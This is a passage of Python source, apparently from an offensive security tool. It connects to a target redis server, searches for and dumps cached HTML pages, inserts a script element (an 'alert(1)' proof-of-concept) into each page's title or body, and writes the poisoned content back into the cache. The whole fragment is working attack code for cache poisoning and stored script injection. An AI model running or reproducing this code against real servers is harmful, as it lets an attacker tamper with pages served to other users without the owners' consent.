for point in ("title", "body"):
insert_point = doc_root.find(".//%s" % point)
if insert_point is None:
continue
# Add the injection
ss = etree.Element("script")
ss.text = "alert(1)"
insert_point.addnext(ss)
# Found and insert point -> break
break
# --------------------------------------------------------------------------
# Fix results
# --------------------------------------------------------------------------
# Result
# result = bytearray(prefix) + bytearray(etree.tostring(doc_root)) + bytearray(suffix)
return bytes(etree.tostring(doc_root))
# return bytes(result)
# ----------------------------------------------------------------------
def action_redis_cache_poison(config):
"""
Dump all redis information
"""
log.error("Trying to connect with redis server...")
# Connection with redis
con = redis.StrictRedis(host=config.target, port=config.port, db=config.db)
if not config.cache_key:
cache_keys = set(search_caches(con))
else:
if config.cache_key is None:
cache_keys = list(search_caches(con))[0]
else:
cache_keys = [config.cache_key]
# --------------------------------------------------------------------------
# Find caches
# --------------------------------------------------------------------------
if config.search_cache is True:
log.error("Looking for caches in '%s'..." % config.target)
for x in cache_keys:
log.warning(" - Possible cache found in key: %s" % str(x))
if not cache_keys:
log.warning(" - No caches found")
# Stop
return
# --------------------------------------------------------------------------
# Explode caches
# --------------------------------------------------------------------------
for val in cache_keys:
content = dump_key(val, con)
# If key doesn't exist content will be None
if content is None:
log.error(" - Provided key '%s' not found in server" % val)
continue
# --------------------------------------------------------------------------
# Action over caches
# --------------------------------------------------------------------------
# Modify
modified = handle_html(config, content)
if modified is None:
log.warning("Can't modify content")
# Reset information
con.setex(val, 200, modified)